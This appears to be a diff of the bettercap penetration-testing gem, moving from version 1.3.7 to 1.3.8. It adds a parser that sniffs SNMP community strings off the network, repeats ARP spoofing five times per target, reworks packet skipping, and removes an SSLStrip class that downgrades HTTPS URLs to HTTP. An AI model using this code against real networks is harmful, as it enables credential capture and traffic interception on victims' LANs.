+ Blog : http://www.evilsocket.net/
8
+
9
+ SNMP community string parser:
10
+ Author : Matteo Cantoni
11
+ Email : matteo.cantoni@nothink.org
12
+
13
+ This project is released under the GPL 3 license.
14
+
15
+ Todo: SNMPv2
16
+
17
+ =end
18
+
19
+ module BetterCap
20
+ module Parsers
21
+ # SNMP community string parser.
22
+ class SNMP < Base
23
+ def on_packet( pkt )
24
+ begin
25
+ if pkt.udp_dst == 161
26
+
27
+ packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
28
+ unless packet.nil?
29
+ if packet.snmp_version_number.to_i == 0
30
+ snmp_version = 'v1'
31
+ else
32
+ snmp_version = 'n/a'
33
+ end
34
+
35
+ msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
36
+
37
+ StreamLogger.log_raw( pkt, 'SNMP', msg )
38
+ end
39
+ end
40
+ rescue; end
41
+ end
42
+ end
43
+ end
44
+ end
@@ -29,33 +29,38 @@ class Sniffer
29
29
  # each one of them to the BetterCap::Parsers instances loaded inside the
30
30
  # +ctx+ BetterCap::Context instance.
31
31
  def self.start( ctx )
32
- Thread.new do
32
+ Thread.new {
33
33
  Logger.debug 'Starting sniffer ...'
34
34
 
35
35
  setup( ctx )
36
36
 
37
+ start = Time.now.to_i
38
+ skipped = 0
39
+ processed = 0
40
+
37
41
  self.stream.each do |raw_packet|
38
42
  break unless @@ctx.running
39
43
  begin
40
44
  parsed = PacketFu::Packet.parse(raw_packet)
41
45
  rescue Exception => e
42
46
  parsed = nil
43
- #Logger.debug e.message
44
- #Logger.debug e.backtrace.join("\n")
45
47
  end
46
48
 
47
- if not parsed.nil? and parsed.is_ip? and !skip_packet?(parsed)
48
- Logger.debug "Parsing packet ..."
49
+ if skip_packet?(parsed)
50
+ skipped += 1
51
+ else
52
+ processed += 1
49
53
  append_packet raw_packet
50
54
  parse_packet parsed
51
- else
52
- Logger.debug "[SNIFFER] Skipping packet:" \
53
- " parsed=#{parsed.nil?? 'false' : 'true'}" \
54
- " is_ip?=#{parsed.nil?? 'false' : parsed.is_ip?}" \
55
- " skip_packet?=#{parsed.nil?? 'true' : skip_packet?(parsed)}"
56
55
  end
57
56
  end
58
- end
57
+
58
+ stop = Time.now.to_i
59
+ delta = stop - start
60
+ total = skipped + processed
61
+
62
+ Logger.info "[#{'SNIFFER'.green}] #{total} packets processed in #{delta} s ( #{skipped} skipped packets, #{processed} processed packets )"
63
+ }
59
64
  end
60
65
 
61
66
  private
@@ -74,9 +79,14 @@ class Sniffer
74
79
  # Return true if the +pkt+ packet instance must be skipped.
75
80
  def self.skip_packet?( pkt )
76
81
  begin
77
- !@@ctx.options.local and
78
- ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or
79
- pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
82
+ # not parsed
83
+ return true if pkt.nil?
84
+ # not IP packet
85
+ return true unless pkt.is_ip?
86
+ # skip if local packet and --local|-L was not specified.
87
+ unless @@ctx.options.local
88
+ return ( pkt.ip_saddr == @@ctx.ifconfig[:ip_saddr] or pkt.ip_daddr == @@ctx.ifconfig[:ip_saddr] )
89
+ end
80
90
  rescue; end
81
91
  false
82
92
  end
@@ -87,7 +97,7 @@ class Sniffer
87
97
  begin
88
98
  parser.on_packet parsed
89
99
  rescue Exception => e
90
- Logger.debug e.message
100
+ Logger.exception e
91
101
  end
92
102
  end
93
103
  end
@@ -100,7 +110,7 @@ class Sniffer
100
110
  array: [p],
101
111
  append: true ) unless @@pcap.nil?
102
112
  rescue Exception => e
103
- Logger.warn e.message
113
+ Logger.exception e
104
114
  end
105
115
  end
106
116
 
@@ -81,7 +81,10 @@ class Arp < Base
81
81
 
82
82
  @ctx.targets.each do |target|
83
83
  unless target.ip.nil? or target.mac.nil?
84
- spoof(target)
84
+ 5.times do
85
+ spoof(target)
86
+ sleep 0.3
87
+ end
85
88
  end
86
89
  end
87
90
  end
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
12
12
  =end
13
13
  module BetterCap
14
14
  # Current version of bettercap.
15
- VERSION = '1.3.7'
15
+ VERSION = '1.3.8'
16
16
  # Program banner.
17
17
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
18
18
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.3.7
4
+ version: 1.3.8
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-02-08 00:00:00.000000000 Z
11
+ date: 2016-02-13 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -143,6 +143,7 @@ files:
143
143
  - lib/bettercap/network/protos/dhcp.rb
144
144
  - lib/bettercap/network/protos/mysql.rb
145
145
  - lib/bettercap/network/protos/ntlm.rb
146
+ - lib/bettercap/network/protos/snmp.rb
146
147
  - lib/bettercap/network/servers/dnsd.rb
147
148
  - lib/bettercap/network/servers/httpd.rb
148
149
  - lib/bettercap/network/services
@@ -159,7 +160,6 @@ files:
159
160
  - lib/bettercap/proxy/sslstrip/cookiemonitor.rb
160
161
  - lib/bettercap/proxy/sslstrip/lock.ico
161
162
  - lib/bettercap/proxy/sslstrip/strip.rb
162
- - lib/bettercap/proxy/sslstrip/urlmonitor.rb
163
163
  - lib/bettercap/proxy/stream_logger.rb
164
164
  - lib/bettercap/proxy/streamer.rb
165
165
  - lib/bettercap/proxy/thread_pool.rb
@@ -182,6 +182,7 @@ files:
182
182
  - lib/bettercap/sniffer/parsers/post.rb
183
183
  - lib/bettercap/sniffer/parsers/redis.rb
184
184
  - lib/bettercap/sniffer/parsers/rlogin.rb
185
+ - lib/bettercap/sniffer/parsers/snmp.rb
185
186
  - lib/bettercap/sniffer/parsers/snpp.rb
186
187
  - lib/bettercap/sniffer/parsers/url.rb
187
188
  - lib/bettercap/sniffer/parsers/whatsapp.rb
@@ -1,53 +0,0 @@
1
- # encoding: UTF-8
2
- =begin
3
-
4
- BETTERCAP
5
-
6
- Author : Simone 'evilsocket' Margaritelli
7
- Email : evilsocket@gmail.com
8
- Blog : http://www.evilsocket.net/
9
-
10
- This project is released under the GPL 3 license.
11
-
12
- =end
13
-
14
- module BetterCap
15
- module Proxy
16
- module SSLStrip
17
-
18
- # Class to handle a list of ( client, url ) objects.
19
- class URLMonitor
20
- # Create an instance of this object.
21
- def initialize
22
- @urls = []
23
- end
24
-
25
- # Return true if the object (client, url) is found inside this list.
26
- def was_stripped?( client, url )
27
- @urls.include?([client, url])
28
- end
29
-
30
- # Add the object (client, url) to this list.
31
- def add!( client, url )
32
- unless was_stripped?(client, url)
33
- @urls << [client, url]
34
- end
35
- end
36
-
37
- # Return a normalized version of +url+.
38
- def normalize( url )
39
- url = if url.include?('://') then url else "https://#{url}" end
40
- url = if url.end_with?('/') then url else "#{url}/" end
41
- url
42
- end
43
-
44
- # Downgrade +url+ from HTTPS to HTTP.
45
- # Will take care of HSTS bypass urls in a near future.
46
- def downgrade( url )
47
- url.gsub( 'https://', 'http://' )
48
- end
49
- end
50
-
51
- end
52
- end
53
- end